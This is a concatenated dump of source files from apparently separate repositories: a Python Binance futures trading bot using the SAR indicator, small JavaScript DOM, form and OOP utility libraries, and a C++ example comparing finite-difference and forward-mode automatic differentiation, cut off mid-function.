side='SELL',
positionSide='BOTH',
type='MARKET',
quantity=quantity,
reduceOnly='true',
recvWindow=5000,
)
print('done')
except:
pass
<file_sep>from binance.client import Client
from api_data import api, secret
from talib._ta_lib import *
import numpy as np
import numpy
from datetime import datetime as dt
client = Client(api, secret)
open = []
high = []
low = []
close = []
volume = []
def indic_array(tiker):
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_1HOUR, limit=144):
#for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_30MINUTE, limit=72):
open.append(float(kline[1]))
high.append(float(kline[2]))
low.append(float(kline[3]))
close.append(float(kline[4]))
volume.append(float(kline[5]))
def allert_buy(tiker, period) -> object:
indic_array(tiker)
a, b = period
# willr = WILLR(np.array(high), np.array(low), np.array(close), timeperiod=a)
# aroondown, aroonup = AROON(np.array(high), np.array(low), timeperiod=b)
sar = SAR(np.array(high), np.array(low), acceleration=a, maximum=b)
if sar[-1] < open[-1]:
print('Sar: {}, Open: {}'.format(sar[-1], open[-1]))
#print('High: {}, Low: {}'.format(high[-1], low[-1]))
return True
else:
print('Sar: {}, Open: {}'.format(sar[-1], open[-1]))
#print('High: {}, Low: {}'.format(high[-1], low[-1]))
def allert_sell(tiker, period) -> object:
indic_array(tiker)
a, b = period
# willr = WILLR(np.array(high), np.array(low), np.array(close), timeperiod=a)
# aroondown, aroonup = AROON(np.array(high), np.array(low), timeperiod=b)
sar = SAR(np.array(high), np.array(low), acceleration=a, maximum=b)
if sar[-1] > open[-1]:
print('Sar: {}, Open: {}'.format(sar[-1], open[-1]))
#print('High: {}, Low: {}'.format(high[-1], low[-1]))
return True
else:
print('Sar: {}, Open: {}'.format(sar[-1], open[-1]))
#print('High: {}, Low: {}'.format(high[-1], low[-1]))
def side_signal(tiker, period):
indic_array(tiker)
a, b = period
sar = SAR(np.array(high), np.array(low), acceleration=a, maximum=b)
if sar[-1] < open[-1]:
return 'Waiting_short'
if sar[-1] > open[-1]:
return 'Waiting_long'
# sar = allert_buy('BTCUSDT', (21,14))
# print(list(sar)[-1])
# print(open[-1])
<file_sep>from api_data import api, secret
from bot_api import Binance
bot = Binance(API_KEY=api, API_SECRET=secret)
limits = bot.exchangeInfo()
tiker = 'AXSUSDT'
for elem in limits['symbols']:
if elem['symbol'] == tiker:
Tiker_limits = elem
break
else:
raise Exception('Не удалось найти тикер' + tiker)
<file_sep>from binance.client import Client
import csv
from api_data import api, secret
client = Client(api, secret)
def klines_to_csv_15(tiker):
"""функция для получения данных 15 минутных свечей по тикеру
и записывающая в csv файл для последующего анализа"""
data = []
for kline in client.get_historical_klines_generator(tiker, Client.KLINE_INTERVAL_1HOUR, "1 month ago UTC"):
data.append(kline)
# write kline data to csv for analyse
with open(tiker + '1h' + '1m' + '.csv', 'w', newline='') as csvfile:
fieldnames = ['time', 'open', 'high', 'low', 'close', 'vol']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for i in data:
writer.writerow({'time': i[0], 'open': i[1], 'high': i[2], 'low': i[3], 'close': i[4],
'vol': i[5]})
return print('Csv file done')
tickers_base = ['BTCUSDT', 'ETHUSDT']
tickers = ['XRPUSDT', 'KNCUSDT', 'ICXUSDT', 'FTMUSDT', 'EOSUSDT', 'AXSUSDT', 'ADAUSDT', 'ALGOUSDT', 'ENJUSDT', 'HOTUSDT', 'VETUSDT', 'FLMUSDT']
for i in tickers_base:
klines_to_csv_15(i)
<file_sep>import csv
import os
from pathlib import Path
from datetime import datetime as dt
import numpy as np
import pandas as pd
from binance.client import Client
from talib._ta_lib import *
from api_data import api, secret
client = Client(api, secret)
def f_klines_to_csv(tiker, timeframe):
"""функция для получения данных свечей по тикеру
и записывающая в csv файл для последующего анализа"""
data = []
if timeframe == '30MINUTE':
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_30MINUTE, limit=1440):
data.append(kline)
# write kline data to csv for analyse
if timeframe == '1HOUR':
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_1HOUR, limit=720):
data.append(kline)
# write kline data to csv for analyse
if timeframe == '4HOUR':
for kline in client.futures_klines(symbol=tiker, interval=client.KLINE_INTERVAL_4HOUR, limit=180):
data.append(kline)
# write kline data to csv for analyse
now = dt.now().date()
path = Path(str(now) + tiker)
path.mkdir()
file_name = tiker + timeframe + '1m' + '.csv'
file_path = os.path.join(path, file_name)
print(file_path)
with open(file_path, 'w', newline='') as csvfile:
fieldnames = ['time', 'open', 'high', 'low', 'close', 'vol']
writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
writer.writeheader()
for i in data:
writer.writerow({'time': i[0], 'open': i[1], 'high': i[2], 'low': i[3], 'close': i[4],
'vol': i[5]})
csv_name = tiker + timeframe + '1m' + '.csv'
# print('Csv file done')
return str('main/' + file_path)
f_klines_to_csv('ONEUSDT', '1HOUR') | f26f2958db183711ff6c32d72180d0ea33543e48 | [
"Markdown",
"Python"
] | 14 | Python | yuriy-jk/trading_bot | 7cbffe882b4b4296e7df2637b9a50ba247bd42b3 | 7532abc2ea00d4f22f8c7f397eda77e73939a7e5 |
refs/heads/master | <file_sep>/*
* @title attraction
* @description declarative DOM event binding via attributes
* @usage
* html: <element on-click="app.method(this, event)">
* javascript: attraction.setup({'app': this, 'any': {'key': value} });
**/
(function(scope) {
var evPrefix = 'on-';
var evRgx = new RegExp('^' + evPrefix);
var removeSrc = true;
var self = {
addEvent: function addEvent(el, type, fn, capture){
if (el.addEventListener) {
el.addEventListener(type, fn, capture);
} else {
el.attachEvent('on' + type, fn);
}
},
getBinding: function( evt, conf ){
var
fArgs = [].concat(_.keys(conf), 'event', evt.value),
F = Function.prototype.constructor.apply(null, fArgs),
bParams = [].concat(F, evt.el, _.values(conf)),
binding = _.bind.apply( null, bParams );
// console.log(' getBinding() \n conf: %o \n fArgs: %o \n bParams: %o ', conf, fArgs, bParams);
return binding;
},
setup: function( conf ){
var evtList = self.scanUIEvents();
// console.log(' * setDOMEvents() evtList : \n %o', evtList);
_.each(evtList, function(evt){
var fn = self.getBinding(evt, conf);
self.addEvent(evt.el, evt.name, fn);
if (removeSrc) evt.el.removeAttribute(evPrefix + evt.name);
});
},
// scan DOM for pseudo events marked as [on-{event}]
scanUIEvents: function( ctx ) {
ctx = ctx || document.documentElement;
var events = 'submit,change,click';
// ',dblclick,blur,focus,input,mousedown,mouseup,keydown,keypress,keyup';
var evQuery = _.map(events.split(','), function(ev){ return '['+evPrefix+ev+']'; }).join(',');
var onv = $(evQuery, ctx)
.map(function(){
return _.chain(this.attributes)
.map(function(a,n){
var o = {};
if (0 === String(a.nodeName).indexOf(evPrefix)) {
var el = a.ownerElement || null;
return {
el: el,
name: String(a.nodeName || a.name).replace(evRgx, ''),
value: (a.nodeValue || a.value)
}
}
})
.filter(_.identity)
.value()
});
return onv;
}
};
scope.attraction = self;
})( this );
<file_sep>/**
* @title cloning a Function
* @author <NAME>
* @contact bananafishbone at gmail dot com
*/
function cloneFunc( func ) {
var reFn = /^function\s*([^\s(]*)\s*\(([^)]*)\)[^{]*\{([^]*)\}$/gi
, s = func.toString().replace(/^\s|\s$/g, '')
, m = reFn.exec(s);
if (!m || !m.length) return;
var conf = {
name : m[1] || '',
args : m[2].replace(/\s+/g,'').split(','),
body : m[3] || ''
}
var clone = Function.prototype.constructor.apply(this, [].concat(conf.args, conf.body));
return clone;
}
<file_sep>// @title plugins for underscore.js
// @author <NAME>
// @url http://github.com/plugn
_.mixin({
clone: function clone(o) {
if (!(this instanceof clone)) {
return new clone(o);
}
for(p in o) {
this[p] = 'object' == typeof o[p] ? new clone(o[p]) : o[p];
}
},
capitalize: function(string) {
return string.charAt(0).toUpperCase() + string.substring(1).toLowerCase();
},
trim: function(val) {
return String(val).replace(/(^\s+|\s+$)/g, '');
},
toNumber: function(t){
var a; return (a = String(t).match(/\d+/g)) && (parseInt(a.join(''), 10) || 0);
},
// results hash-items {key:value}
filterHash: function(obj, iterator, context) {
var results = {};
if (obj == null) return results;
_.each(obj, function(value, index, list) {
// var hVal = {}; hVal[index] = value;
if (iterator.call(context, value, index, list)) results[index] = value;
});
return results;
},
rejectHash: function(obj, iterator, context) {
return _.filterHash(obj, function(value, index, list) {
return !iterator.call(context, value, index, list);
}, context);
},
getNested: function(path, def, root){
var key, val = !!root? root : this, arr = String(path).split('.');
while ((key = arr.shift()) && 'object' == typeof val && val) {
val = 'undefined' == typeof val[key]? ('undefined' == typeof def? false : def) : val[key];
}
return val;
}
});
<file_sep>var o = o || {};
(function(o) {
o.extend = function (target, source) {
for (var prop in source) if (source.hasOwnProperty(prop)) {
target[prop] = source[prop];
}
return target;
};
o.ctor = function oConstructor(){
return this.class.super.apply(this, arguments);
};
o.inherit = (function(){
function F() {}
return function (child, parent) {
var proto = ('function' === typeof parent) ?
parent.prototype : ('object' === typeof parent ? parent : {} );
F.prototype = proto;
child.prototype = new F();
child.prototype.constructor = child;
child.super = proto;
child.prototype.class = child;
return child;
};
}) ();
// class from proto-Object or Function
o.class = function(proto){
// if function then it's a class already
if ('function' === typeof proto) return proto;
// has constructor? use it or an empty function
var constructor = ('function' === typeof proto.constructor) ? proto.constructor : function(){};
delete proto.constructor;
// has extends key? use it as a parent for inheritance
var parent = (/^object|function$/.test(typeof proto.extends) ) ? proto.extends : null;
delete proto.extends;
if (parent) {
return o.inherit(constructor, parent);
}
// that's it
constructor.prototype = proto;
return constructor;
}
})(o);
<file_sep>// @title everDate
// @description retrieves dirty Date values and make them valid
// via custom restrictions with fallback to Date.now()
// @usage everDate.render(2014,02,31) --> '2013-3-3'
// @usage everDate.render('w2-01-f?f1 **', ' of 8ef', '-x-') --> '2011-8-17'
var everDate = (function(){
var _dateObj = null
, _year = null
, _month = null
, _date = null
, _day = null;
// lazy getters
function getDateObj() { return _dateObj || (_dateObj = new Date()); }
function getYear() { return _year || (_year = getDateObj().getFullYear()); }
function getMonth() { return _month || (_month = getDateObj().getMonth()+1); }
function getDate() { return _date || (_date = getDateObj().getDate()); }
function getDay() { return _day || (_day = getDateObj().getDay()); }
// monads
function toNumber(t){
var a; return (a = String(t).match(/\d+/g)) && (parseInt(a.join(''), 10) || 0);
}
function restrict(v, min, max, def) {
var num = toNumber(v);
return (num < min || num > max)? def : num;
}
function makeValid(date){
var oDate = date instanceof Date ? date : new Date(date);
return ( oDate instanceof Date && [oDate.getFullYear(), oDate.getMonth()+1, oDate.getDate()] );
}
// customizable restrictions
function makeYear(v){
return restrict(v, 1910, getYear(), getYear());
}
function makeMonth(v){
return restrict(v, 1, 12, getMonth() );
}
function makeDate(v){
return restrict(v, 1, 31, getDate());
}
// public API
return {
render: function everDate__render(y,m,d){
return makeValid( [makeYear(y), makeMonth(m), makeDate(d)].join('-') );
}
};
})();
<file_sep> /*
tries to get deep nested property of passed object,
if found returns it, else returns `def` argument
getNested('p.a.t.h', '*', {p:{a:{t:{h:[1],i:[2]}}}} )
[1]
getNested.call({p:{a:{t:{h:[1],i:[2]}}}}, 'p.a.t.i', '*' )
[2]
('p.a.t.y', '*', {p:{a:{t:{h:[1],i:[2]}}}} )
"*"
*/
function getNested(path, def, root){
var key
, val = !!root? root : this
, arr = String(path).replace(/'|"|\]/g,'').replace(/\[/g,'.').split('.');
while ((key = arr.shift()) && 'object' == typeof val && val) {
val = 'undefined' == typeof val[key]? ('undefined' == typeof def? false : def) : val[key];
}
return val;
}
// Function.bind() aka Currying micro implementaion
function curry(fn, context){
var args = [].slice.call(arguments, 2);
return function(){
fn.apply(context, args.concat([].slice.call(arguments)))
};
}
<file_sep>/*
@title form data dumper module
@dependencies
* underscore.js,
* validator.js
@description carefully collects fields' data of a form passed in
@why because of jQuery.serializeArray() doesn't work with radio and checkboxes correctly
*/
(function formDump(scope){
var splitter = '__';
function dumpField(el) {
var fName = el.getAttribute('name'),
fType = el.getAttribute('type');
if (!fName) { return; }
var complicated = _.contains(['radio', 'checkbox'], fType);
return {
type : fType,
name : fName,
value : (!complicated || el.checked? el.value : null)
};
}
var API = {
collect: function(aForm) {
if ( !(aForm instanceof HTMLFormElement) )
throw new Error('aForm is not an HTMLFormElement');
var formData = _.chain(aForm.elements)
.map(dumpField)
.filter(_.identity) // remove nameless fields
.reduce(function(memo, item, index, arr){
if ('checkbox' === item.type) {
if ( !(item.name in memo) || !(Array.isArray(memo[item.name])) )
memo[item.name] = [];
if (item.value)
memo[item.name].push(item.value);
} else if ('radio' === item.type) {
memo[item.name] = (item.name in memo && !item.value)? memo[item.name] : item.value;
} else {
memo[item.name] = item.value;
}
return memo;
}, {})
.value();
return formData;
},
// group collected data
group: function( formData ) {
var fieldSet = {};
_.each(formData, function(item, key, list){
var couple = key.split(splitter);
if ( 1 < couple.length ) {
if ( !(_.has(fieldSet, couple[0])) ) {
fieldSet[couple[0]] = {};
}
fieldSet[couple[0]] [key] = item;
// fieldSet[couple[0]] [couple[1]] = item;
} else {
fieldSet[key] = item;
}
});
return fieldSet;
},
// validate grouped data
validate: function( fGroups, conf ) {
function typer (g, k){
return ('object' == typeof g) && (null !== g);
}
var
self = this,
mFields = _.filterHash(fGroups, typer),
sFields = _.rejectHash(fGroups, typer);
self.conf = conf || {};
// console.log(sFields, mFields);
// simple fields validated list
var svItems = self.checkList( sFields );
// mark them easily
_.each(svItems, function(vItem){
self.markField(vItem);
self.markAbout(vItem);
});
// multi-fields
_.each( mFields, function(fset, fabout){
var mvItems = self.checkList( fset );
var ok = _.every(mvItems, function(mvItem){ return mvItem.resolved; });
_.each(mvItems, function(vItem){
self.markField(vItem);
})
self.markAbout({ name: fabout, resolved: ok})
});
},
checkList: function( vFields ) {
var self = this;
var vList = {};
_.each( vFields, function(fval, fkey){
var vConf = _.getNested(fkey, null, self.conf);
var vItem = new validator.Field(fkey, fval, vConf);
if (vItem) {
vItem.check();
vList[fkey] = vItem;
}
});
return vList;
},
// toggle validation messages / indicators
markField: function(vField) {
var f = $('[name="' + vField.name + '"]');
f.toggleClass('field-warn', !vField.resolved);
// reflect cast right
if (vField.castFunc && (null != vField.castValue)) {
f.val(vField.castValue);
};
},
// toggle validation messages / indicators
markAbout: function(vField, message) {
// console.log(' * markAbout() ', vField);
var
ok = vField.resolved,
p = $('[data-about="' + vField.name + '"]');
p.toggleClass('warn', !ok).toggleClass('ok', !!ok);
if (message) {
p.find('.warn-reason').text(message);
}
}
};
// export module
_.extend(scope, API);
})(this.formDump = this.formDump || {});
<file_sep>/**
* @title oFunc
* @description objects functional utility
**/
function oEach(o, iterator) {
Object.keys(o).forEach(iterator.bind(o));
}
function oValues(o) {
var acc = [];
oEach(o, function (key) {
acc.push(this[key]);
})
return acc;
}
/*
oEach(t, function (key) {
console.log('#' + key + ': ', this[key]);
});
*/
<file_sep> function castBDate(v){
return everDate.restrict(v, 1, 31, '');
}
function castBMonth(v){
return everDate.restrict(v, 1, 12, 0);
}
function castBYear(v){
return everDate.restrict(v, 1910, everDate.getYear(), '');
}
// fields global configuration
var gConf = {
'Mail__Login' : {
rules: function(v) {
return (v.length && v.length > 3);
}
},
'BDay__Day' : {
rules: castBDate,
castFunc: function(v){
var re = /\d+/g;
return parseInt(re.exec(String(v)), 10);
}
},
'BDay__Month' : {
rules: function nonZeroStr(v){
return !('0'===v);
}
},
'BDay__Year' : {
rules: castBYear,
castFunc: function(v){
var re = /\d+/g;
return parseInt(re.exec(String(v)), 10);
}
}
};
var fGroups = formDump.group(formDump.collect(aForm));
formDump.validate( fGroups, gConf);
<file_sep>// @title ctor.js
// @description Advanced Classic OOP for JavaScript
// @author <NAME> banan<EMAIL>bone at gmail dot com
(function() {
// root object, 'window' in the browser, or 'global' on the server.
var root = this;
function isArray(o) {
return o instanceof Array || {}.toString.call(o) === '[object Array]';
}
function grow(member) {
return 'function' == typeof member? ctor.spawn(member) : ctor.clone(member);
}
var ctor = {
clone: function(o){
var cloned;
if ('object' == typeof o) {
if (isArray(o)){
cloned = [];
for (var i = 0, l = o.length; i < l; i++) cloned[i] = ctor.clone(o[i]);
} else {
cloned = {};
for (var p in o) cloned[p] = ctor.clone(o[p]);
}
} else return o;
return cloned;
},
// OOP Object Factory instantiates an object with own properties cloned from a prototype
// var o = ctor.spawn( (Function) constructor, (Array) arguments )
spawn: function( konstr, args ) {
if ('function' != typeof konstr)
throw new Error('ctor.spawn() : konstr is not a Function');
function fn(){};
var instance = new fn();
konstr.apply( instance, [].concat(args) );
for (var prop in konstr.prototype)
instance[ prop ] = ctor.clone( konstr.prototype[prop] );
return instance;
},
// Classic OOP inheritance
// instance has a '$parent' key representing superclass with its methods
// var o = ctor.inherit((Function or Object) [TopClass, ..] MidClass, BaseClass);
inherit: function() {
var args = [].slice.call(arguments);
if (args.length < 2) return false;
if (args.length > 2) {
for (var idx = args.length - 2, obj = args[idx + 1]; idx > -1; idx--)
obj = arguments.callee(args[idx], obj);
return obj;
} else {
var instance = grow(args[0]),
parent = grow(args[1]);
for (var k in parent) {
if ('$parent'==k || 'undefined'==typeof parent[k])
continue;
if (typeof instance[k] == 'undefined')
instance[k] = ctor.clone(parent[k]);
if (typeof parent[k] != 'function')
delete parent[k];
}
instance.$parent = parent;
return instance;
}
},
/*
tries to get deep nested property of passed object,
if found returns it, else returns `def` argument
getNested('p.a.t.h', '*', {p:{a:{t:{h:[1],i:[2]}}}} )
[1]
getNested.call({p:{a:{t:{h:[1],i:[2]}}}}, 'p.a.t.i', '*' )
[2]
('p.a.t.y', '*', {p:{a:{t:{h:[1],i:[2]}}}} )
"*"
*/
getNested: function(path, def, root){
var key, val = !!root? root : this, arr = String(path).split('.');
while ((key = arr.shift()) && 'object' == typeof val && val) {
val = 'undefined' == typeof val[key]? ('undefined' == typeof def? false : def) : val[key];
}
return val;
},
// Function.bind() aka Currying micro implementaion
curry: function(fn, context){
var args = [].slice.call(arguments, 2);
return function(){
fn.apply(context, args.concat([].slice.call(arguments)))
};
}
}
root.ctor = ctor;
}).call(this);
<file_sep>function Observer() {}
Object.defineProperty(Observer.prototype, 'watch', {
enumerable: false,
configurable: true,
writable: false,
value: function(prop, handler) {
var
oldVal = this[prop],
newVal = oldVal,
getter = function () {
return newVal;
},
setter = function (val) {
oldVal = newVal;
var tapVal = handler.call(this, prop, oldVal, val);
newVal = ('undefined' !== typeof tapVal) && tapVal || val;
return newVal;
};
Object.defineProperty(this, prop, {
enumerable: true,
configurable: true,
get: getter,
set: setter
});
}
});
Object.defineProperty(Observer.prototype, 'unwatch', {
enumerable: false,
configurable: true,
writable: false,
value: function (prop) {
var val = this[prop]; // preserve prop value
delete this[prop]; // remove accessor
this[prop] = val; // set prop value
}
});
<file_sep>ctor.js
=======
Advanced Classic OOP for JavaScript | 6084a7a56e6eb27596dfbfdcca43f129d2311876 | [
"JavaScript",
"Markdown"
] | 12 | JavaScript | plugn/ctor.js | 6e355a5b7454bc9978298cc71eda452ef0fbc9e7 | 6bb09d0a54cf47de561f3fb59636d4a3a3175df0 |
refs/heads/master | <file_sep>
cmake_minimum_required(VERSION 3.7)
project(AD)
set(CMAKE_CXX_COMPILER clang++)
set(CMAKE_CXX_FLAGS "-std=c++14")
set(CMAKE_CXX_FLAGS_DEBUG "${CMAKE_CXX_FLAGS_DEBUG} -ggdb3")
set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -O3")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wpedantic")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wall")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wextra")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-switch")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-unused-parameter")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-unused-variable")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-missing-braces")
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -Wno-sign-compare")
find_package(Boost REQUIRED filesystem program_options system log timer COMPONENTS)
add_definitions(-DBOOST_LOG_DYN_LINK)
add_definitions(-Dint_p_NULL=0)
include_directories(${Boost_INCLUDE_DIRS})
include_directories(~/repo/eigen-git-mirror/)
add_executable( Example0 Example0.cpp )
target_link_libraries( Example0 pthread ${Boost_LIBRARIES})
<file_sep>// Example0.cpp : Defines the entry point for the console application.
//
#include <cmath>
#include <iostream>
#include <string>
#include <Eigen/Dense>
#include <memory>
#include <iomanip>
#include <vector>
#include <unordered_map>
using Vector_ty = Eigen::VectorXd;
using Matrix_ty = Eigen::MatrixXd;
namespace Implementation0{
/*
f(a,b,c) = ( w - w0 )^2
w(a,b,c) = sin(a b) + c b^2 + a^3 c^2
*/
struct Computer {
Matrix_ty MakeDiffU(double a, double b, double c) {
auto result = Matrix_ty(4, 3);
result.fill(0);
result(0, 0) = 1;
result(1, 1) = 1;
result(2, 2) = 1;
result(3, 0) = b * std::cos(a * b) + 3 * a * a * c * c;
result(3, 1) = a * std::cos(a *b) + 2 * c * b;
result(3, 2) = b * b + 2 * a * a * a * c;
return result;
}
Matrix_ty MakeDiffV(double a, double u) {
auto result = Matrix_ty(1, 2);
result(0, 0) = 2 * a;
result(0, 1) = 2 * u * std::exp(u*u - 1);
return result;
}
Matrix_ty MakeDiffW(double c, double v) {
auto result = Matrix_ty(1, 2);
result(0, 0) = -2 * c * std::sin(c*c - 1);
result(0, 1) = 2 * v / (v * v + 1);
return result;
}
Matrix_ty MakeDiffF(double w, double w0) {
auto result = Matrix_ty(1, 1);
result(0, 0) = 2 * (w - w0);
return result;
}
};
struct Functional {
double Eval(double a, double b, double c, double w0)const{
auto u = std::sin(a*b) + c * b * b + a*a*a*c*c;
auto v = std::exp(u*u - 1) + a*a;
auto w = std::log(v*v + 1) + std::cos(c*c - 1);
auto f = std::pow(w - w0, 2.0);
return f;
}
};
struct FiniteDiff {
explicit FiniteDiff(double epsilon) :epsilon_{ epsilon } {}
double d_a(double a, double b, double c, double w0)const {
double lower = f_.Eval(a - epsilon_ / 2, b, c, w0);
double upper = f_.Eval(a + epsilon_ / 2, b, c, w0);
return (upper - lower) / epsilon_;
}
private:
Functional f_;
double epsilon_;
};
struct ForwardDiff {
double d_a(double a, double b, double c, double w0)const {
auto u = std::sin(a*b) + c * b * b + a*a*a*c*c;
auto v = std::exp(u*u - 1) + a*a;
auto w = std::log(v*v + 1) + std::cos(c*c - 1);
auto C = Computer{};
auto u_M = C.MakeDiffU(a, b, c);
auto u_V = Vector_ty(3);
u_V(0) = 1.0;
u_V(1) = 0.0;
u_V(2) = 0.0;
//std::cerr << "u_M=\n" << u_M << "\n";
auto d_u = u_M * u_V;
auto v_M = C.MakeDiffV(a, u);
auto v_V = Vector_ty(2);
v_V(0) = d_u(0);
v_V(1) = d_u(3);
//std::cerr << "v_M=\n" << v_M << "\n";
auto d_v = v_M * v_V;
auto w_M = C.MakeDiffW(c, v);
auto w_V = Vector_ty(2);
w_V(0) = d_u(2);
w_V(1) = d_v(0);
//std::cerr << "w_M=\n" << w_M << "\n";
auto d_w = w_M * w_V;
auto f_M = C.MakeDiffF(w, w0);
//std::cerr << "f_M=\n" << f_M << "\n";
auto f_V = Vector_ty(1);
f_V(0) = d_w(0);
auto f_u = f_M * f_V;
return f_u(0);
}
};
struct BetterForwardDiff {
double d_a(double a, double b, double c, double w0)const {
auto u = std::sin(a*b) + c * b * b + a*a*a*c*c;
auto v = std::exp(u*u - 1) + a*a;
auto w = std::log(v*v + 1) + std::cos(c*c - 1);
auto d_aa = 1.0;
auto d_b = 0.0;
auto d_c = 0.0;
auto C = Computer{};
auto u_M = C.MakeDiffU(a, b, c);
std::cout << u_M << "\n";
auto u_V = Vector_ty(3);
u_V(0) = d_aa;
u_V(1) = 0.0;
u_V(2) = 0.0;
auto eval_u = u_M * u_V;
std::cout << "eval_u\n" << eval_u << "\n";
auto d_u = eval_u(3);
auto v_M = C.MakeDiffV(a, u);
std::cout << v_M << "\n";
auto v_V = Vector_ty(2);
v_V(0) = d_aa;
v_V(1) = d_u;
auto eval_v = v_M * v_V;
std::cout << "eval_v\n" << eval_v << "\n";
auto d_v = eval_v(0);
auto w_M = C.MakeDiffW(c, v);
auto w_V = Vector_ty(2);
w_V(0) = d_c;
w_V(1) = d_v;
auto eval_d_w = w_M * w_V;
std::cout << "eval_d_w\n" << eval_d_w << "\n";
auto f_M = C.MakeDiffF(w, w0);
auto f_V = Vector_ty(1);
f_V(0) = eval_d_w(0);
auto f_u = f_M * f_V;
std::cout << "f_V\n" << f_V << "\n";
std::cout << "f_u\n" << f_u << "\n";
auto d = Vector_ty(7);
d(0) = d_aa;
d(1) = d_b;
d(2) = d_c;
d(3) = d_u;
d(4) = d_v;
d(5) = eval_d_w(0);
d(6) = f_u(0);
std::cout << "d=\n" << d << "\n";
return f_u(0);
}
};
void TestDriver()
{
auto f = Functional{};
auto fd = FiniteDiff(0.00001);
auto ad = ForwardDiff{};
auto better_ad = BetterForwardDiff{};
auto a = 0.1;
auto b = 0.1;
auto c = 3.0;
auto constexpr w0 = 2.0;
std::cout << "f -> " << f.Eval(a, b, c, w0) << "\n";
std::cout << "D_{fd}(f,a) -> " << fd.d_a(a, b, c, w0) << "\n";
std::cout << "D_{ad}(f,a) -> " << ad.d_a(a, b, c, w0) << "\n";
std::cout << "D_{ad}(f,a) -> " << better_ad.d_a(a, b, c, w0) << "\n";
}
} // end namespace Implementation0
//
namespace CandyTestFramework {
struct SourceInfo {
std::string File;
std::string Function;
int Line;
friend std::ostream& operator<<(std::ostream& ostr, SourceInfo const& self) {
ostr << "{file=" << self.File << ":" << self.Line << ", "
<< "Function=" << self.Function << "}";
return ostr;
}
};
#define SOURCE_INFO() ::CandyTestFramework::SourceInfo{ __FILE__, __FUNCTION__, __LINE__}
#define WITH_EXPR(expr) expr, #expr
#define CheckEqWithExpr(a,b) CheckEq(SOURCE_INFO(), WITH_EXPR(a), WITH_EXPR(b))
struct CandyTestContext;
struct CandyTestContextUnit {
explicit CandyTestContextUnit(CandyTestContext* ctx) :ctx_{ ctx } {}
CandyTestContext* Context()const { return ctx_; }
virtual ~CandyTestContextUnit() = default;
virtual void CheckEq(SourceInfo const& src, double value, std::string const& value_literal,
double expected, std::string const& expected_literal) = 0;
private:
CandyTestContext* ctx_;
};
struct CandyTestContext {
virtual ~CandyTestContext() = default;
virtual std::shared_ptr<CandyTestContextUnit> BuildUnit(std::string const& name,
SourceInfo const& info) = 0;
virtual void Emit(std::string const& msg) = 0;
virtual void EmitFailure(std::string const& msg) {
Emit(msg);
}
};
struct CheckFailed : std::exception {
CheckFailed(std::string const& msg) :msg_{ msg } {}
std::string msg_;
virtual const char* what() const noexcept {
return msg_.c_str();
}
};
static CandyTestContext* DefaultContext() {
struct UnitImpl : CandyTestContextUnit {
UnitImpl(CandyTestContext* ctx, std::string const& name,
SourceInfo const& source) : CandyTestContextUnit{ ctx }, name_ {
name
}, source_{} {}
virtual void CheckEq(SourceInfo const& src, double value, std::string const& value_literal,
double expected, std::string const& expected_literal) {
double const epsilon = 0.00001;
auto cond = (std::fabs(value - expected) < epsilon);
if (!cond) {
std::stringstream ss;
ss << "===========[" << name_ << "]============\n";
ss << "assertion failed at " << src << "\n";
ss << " " << value_literal << "=" << value << "\n";
ss << " " << expected_literal << "=" << expected;
Context()->EmitFailure(ss.str());
}
else {
std::stringstream ss;
ss << "===========[" << name_ << "]============\n";
ss << "assertion sussess at " << src << "\n";
ss << " " << value_literal << "=" << value << "\n";
ss << " " << expected_literal << "=" << expected;
Context()->Emit(ss.str());
}
}
private:
std::string name_;
SourceInfo source_;
};
struct Impl : CandyTestContext {
virtual std::shared_ptr<CandyTestContextUnit> BuildUnit(std::string const& name,
SourceInfo const& info)override {
return std::make_shared<UnitImpl>(this, name, info);
}
virtual void Emit(std::string const& msg)override {
//std::cerr << msg << "\n";
}
virtual void EmitFailure(std::string const& msg)override{
std::cerr << msg << "\n";
}
};
static Impl memory;
return &memory;
}
struct Unit {
virtual ~Unit() = default;
explicit Unit(std::string const& name, SourceInfo const& src) :name_{ name }, src_{ src } {
GetRegister()->push_back(this);
}
std::string const& Name()const {
return name_;
}
SourceInfo const& Source()const { return src_; }
virtual void RunUnit(CandyTestContextUnit* unit)const = 0;
static std::vector<Unit*>* GetRegister() {
static std::vector<Unit*> mem;
return &mem;
}
static void RunAll(CandyTestContext* ctx) {
for (auto const& unit_ptr : *GetRegister()) {
std::cerr << "Running " << unit_ptr->Name() << "\n";
auto unit = ctx->BuildUnit(unit_ptr->Name(), unit_ptr->Source());
unit_ptr->RunUnit(unit.get());
}
}
private:
std::string name_;
SourceInfo src_;
};
template<class T>
struct RegisterUnitTest {
RegisterUnitTest() {
Unit::GetRegister()->push_back(new T());
}
};
} // end namespace CandyTestFramework
namespace Implementation1 {
/* we have a simple expression of the form
expr -> function(expr...) | polynomial
this we have the transform
D(function(expr),sym) -> D(function,0)(expr...)D(expr[1])...
D(polynomial,sym) -> "usual algebra"
Thus we have
u = sin (a b ) + c b^2 + a^3 c^2
---- --------------- 2 polynomials
---------- a function (x) -> sin(x)
---------------------------- a function (x,y) -> x + y
= Plus, Sin( Polynomial("a b") ), Polynomial("c b^2 + a^3 c^2"))
*/
struct SymbolMap {
void Define(std::string const& sym, double val) {
values_[sym] = val;
}
double Value(std::string const& sym)const {
if (auto ptr = MaybeValue(sym))
return *ptr;
std::stringstream ss;
ss << "don't have symbol " << sym;
throw std::domain_error(ss.str());
}
double const* MaybeValue(std::string const& sym)const {
auto iter = values_.find(sym);
if (iter == values_.end()) {
return nullptr;
}
return &iter->second;
}
void Report(std::ostream& ostr = std::cout)const {
